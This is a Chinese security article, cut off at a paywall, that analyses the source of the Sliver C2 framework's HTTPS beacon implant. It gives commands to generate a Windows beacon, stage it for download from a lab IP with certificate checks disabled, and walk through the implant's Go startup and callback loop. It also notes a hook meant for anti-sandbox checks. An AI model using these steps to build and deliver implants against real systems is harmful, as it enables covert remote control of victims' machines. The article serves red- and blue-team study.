freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

sliver源码分析 | 植入物行为
SUqerBrave 2024-11-27 18:47:12 107292
所属地 湖北省

引言

  • 项目概述:对开源的C2框架sliver进行源码分析,意图学习其原理。本篇分析sliver生成植入物的行为,这里主要分析C2应用最为广泛的https协议的beacon,理解它的整个流程。

  • 目标与读者:网络安全兴趣爱好者、红队、蓝队

准备工作

git clone https://github.com/BishopFox/sliver.git

找到植入物的源码

在项目根目录的implant是未经过渲染的源码模板,后续在服务端分析详细介绍。我们这里直接根据之前的分析找到进行go build的临时目录,将整个源码打包出来分析。

前文 sliver源码分析 | 植入物生成逻辑 - FreeBuf网络安全行业门户
生成windows的植入物,最终找到的植入物源码路径在

~/.sliver/slivers/windows/amd64/xxxx/src

其中xxxx是随机生成的名称,每次生成新的植入物都会更新
为了方便查找,可以将~/.sliver/slivers/清空后生成一次植入物,即可得到刚刚生成植入物的go源码

实际操作

这里以在kali-linux作为基准,这里terminal 1 表示使用的第一个terminal

terminal 1
到达生成源码的路径

cd ~/.sliver/slivers/

如果此前未执行植入物生成,则这里的路径会是空的

terminal 2
启动sliver,并且开启一个简单的https监听,使用默认配置生成一个植入物

./sliver-server

sliver > https

sliver > jobs

 ID   Name    Protocol   Port   Domains
==== ======= ========== ====== =========
 1    https   tcp        443

由于在内网进行试验,所以这里写当前kali的内网ip,加上-d表示开启debug

generate beacon --http 10.10.100.144:443 --save beacon.exe -d

等待生成完毕,会在当前目录得到beacon.exe

然后在 terminal 1 中可以看到

└─$ ls
windows

└─$ cd windows/amd64/RISING_ANESTHESIOLOGY/

└─$ ls
bin  src

其中bin是生成的exe的路径,而src路径下就是我们要的源码

分析植入物源码

这里参考官方官方的profile进行分析
Sliver Tutorial: 3 - C2 Profiles and configuration
其中这个部分

- `.woff` for staging
- `.js` for poll requests
- `.html` for key exchanges
- `.png` for close session
- `.php` for session messages

可以得知sliver的默认植入物在http交互中整个生命周期会用的后缀,因为他的默认目标是ruby-on-rails,所以根据默认目标设定了这个后缀。

Staging阶段--不在源码中

terminal 2 中查看植入物,可以看到植入物的信息(Name,Implant Type,Template,OS/Arch,Format,Command & Control,Debug,C2 Config,ID,Stage)

sliver > implants

 Name                    Implant Type   Template   OS/Arch             Format   Command & Control               Debug   C2 Config   ID      Stage
======================= ============== ========== =============== ============ =============================== ======= =========== ======= =======
 RISING_ANESTHESIOLOGY   beacon         sliver     windows/amd64   EXECUTABLE   [1] https://10.10.100.144:443   true    default     22352   false

其中stage是表示这个植入物是否开放下载,即通过http去投递,而这个ID则是为了确定下载的时候定位这个植入物。
这里的false需要通过下面的命令进行开启,使它切换为true

implants stage

然后选择植入物名称,按空格,出现[x]之后按enter确定。
再次查看即可看到stage状态为true

sliver > implants stage

? Select sessions and beacons to expose: RISING_ANESTHESIOLOGY

sliver > implants

 Name                    Implant Type   Template   OS/Arch             Format   Command & Control               Debug   C2 Config   ID      Stage
======================= ============== ========== =============== ============ =============================== ======= =========== ======= =======
 RISING_ANESTHESIOLOGY   beacon         sliver     windows/amd64   EXECUTABLE   [1] https://10.10.100.144:443   true    default     22352   true

这里用aria2c,因为它可以方便的忽略证书

aria2c --check-certificate=false -o some.exe https://10.10.100.144/test.woff?a=22352

但是我们已经在~/.sliver/slivers/windows/amd64/RISING_ANESTHESIOLOGY/找到了它的源码,也就是说,源码里没有staging阶段

我们可以在bin目录来对比这两个是否一致RISING_ANESTHESIOLOGY.exe为临时目录里生成的植入物,some.exe是通过https下载的。

Get-FileHash -Path "RISING_ANESTHESIOLOGY.exe" -Algorithm SHA256
Get-FileHash -Path "some.exe" -Algorithm SHA256

可以看到完全一致

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          510AF540F1A362F62553D58CD880F2F2BDDBA4B3F31DBBDCE7E35D577ECC91E5       C:\Users\Administrator\Desktop\code\bin\RISING_ANESTHESIOLOGY.exe
SHA256          510AF540F1A362F62553D58CD880F2F2BDDBA4B3F31DBBDCE7E35D577ECC91E5       C:\Users\Administrator\Desktop\code\bin\some.exe

源码分析

sliver.go
按照执行时间,首先看init()

var (
	InstanceID       string
	connectionErrors = 0
	ErrTerminate     = errors.New("terminate")
)

func init() {
	id, err := uuid.NewV4()
	if err != nil {
		buf := make([]byte, 16) // NewV4 fails if secure rand fails
		insecureRand.Read(buf)
		id = uuid.FromBytesOrNil(buf)
	}
	InstanceID = id.String()
}

很明显。初始化了一个UUID。
然后再看main函数

func main() {
	log.SetFlags(log.LstdFlags | log.Lshortfile)
	debugFilePath := ""
	if debugFilePath != "" {
		file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
		if err == nil {
			log.SetOutput(file)
		}
	}
	log.Printf("Hello my name is %s", consts.SliverName)
	limits.ExecLimits() // Check to see if we should execute
	beaconStartup()
}

这里如果发现源码中没有log.Printf,说明生成植入物的时候没有加上-d,需要开启调试模式才会在渲染植入物源码的时候加上各种日志。

2024/11/26 16:55:54 sliver.go:92: Hello my name is RISING_ANESTHESIOLOGY 2024/11/26 16:55:54 limits.go:58: Limit checks completed 2024/11/26 16:55:54 sliver.go:109: Running in Beacon mode with ID: 1453b598-1cdc-4172-9bfb-8f33933a09e6

limits.ExecLimits()的内容是检查是否应该运行,就是说,这里可以加入一些反沙箱的东西。

// ExecLimits - Checks for execution limitations (domain, hostname, etc)
func ExecLimits() {
	log.Printf("Limit checks completed")
	os.Executable() // To avoid any "os unused" errors
}

函数的注释说明这里可以做一些域名、主机名之类的检测,来过掉某些沙箱

main->beaconStartup

func beaconStartup() {
	// 
	log.Printf("Running in Beacon mode with ID: %s", InstanceID)
	// 
	abort := make(chan struct{})
	defer func() {
		abort <- struct{}{}
	}()
	beacons := transports.StartBeaconLoop(abort)
	for beacon := range beacons {
		// 
		log.Printf("Next beacon = %v", beacon)
		// 
		if beacon != nil {
			err := beaconMainLoop(beacon)
			if err != nil {
				connectionErrors++
				if transports.GetMaxConnectionErrors() < connectionErrors {
					return
				}
			}
		}
		reconnect := transports.GetReconnectInterval()
		// 
		log.Printf("Reconnect sleep: %s", reconnect)
		// 
		time.Sleep(reconnect)
	}
}

创建了一个abort的空结构体,用于终止循环。
通过beacons := transports.StartBeaconLoop(abort)初始化beacon,即根据模板填充的C2的HOST以及beacon类型(这里用的是https)进行初始化。
然后使用这个beacon开始执行beaconMainLoop,也就是进入key exchanges以及poll requests阶段。如果连接失败达到最大次数则会直接return。

StartBeaconLoop

开始分析main->beaconStartup->StartBeaconLoop

func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
	// 
	log.Printf("Starting beacon loop ...")
	// 

	var beacon *Beacon
	nextBeacon := make(chan *Beacon)

	innerAbort := make(chan struct{})
	c2Generator := C2Generator(innerAbort)

	go func() {
		defer close(nextBeacon)
		defer func() {
			innerAbort <- struct{}{}
		}()

		// 
		log.Printf("Recv from c2 generator ...")
		// 
		for uri := range c2Generator {
			// 
			log.Printf("Next CC = %s", uri.String())
			// 

			switch uri.Scheme {

			// *** MTLS ***
			//   - IncludeMTLS
			case "wg":
				// *** WG ***
				//   - IncludeWG
			case "https":
				fallthrough
			case "http":
				// *** HTTP ***
				// 
				beacon = httpBeacon(uri)
				//  - IncludeHTTP

			case "dns":
				// *** DNS ***
				//  - IncludeDNS

			default:
				// 
				log.Printf("Unknown c2 protocol %s", uri.Scheme)
				// 
			}
			select {
			case nextBeacon <- beacon:
			case <-abort:
				return
			}
		}
	}()

	return nextBeacon
}

可以看到这个函数首先调用了C2Generator获得了c2Generator
这个c2Generator的类型是<-chan *url.URL所以需要用range来读取channel的数据,即URL
然后通过beacon = httpBeacon(uri)构建httpBeacon,最后将beacon传入nextBeacon进行后续的操作。

beacon

为后面分析做铺垫,先看看定义的结构体
implant\sliver\transports\beacon.go

// Beacon - Abstract connection to the server
type Beacon str
可试读前30%内容
¥ 19.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# 网络安全 # 远控木马 # 源码分析 # C2框架 # 恶意行为分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 SUqerBrave 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Sliver源码分析
SUqerBrave LV.2
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 4 关注者
HTB-Infiltrator:一文带你走进域渗透
2024-09-07
sliver源码分析 | 植入物生成逻辑
2024-09-03
Sliver源码分析 | 初始化以及脚手架
2024-08-12
文章目录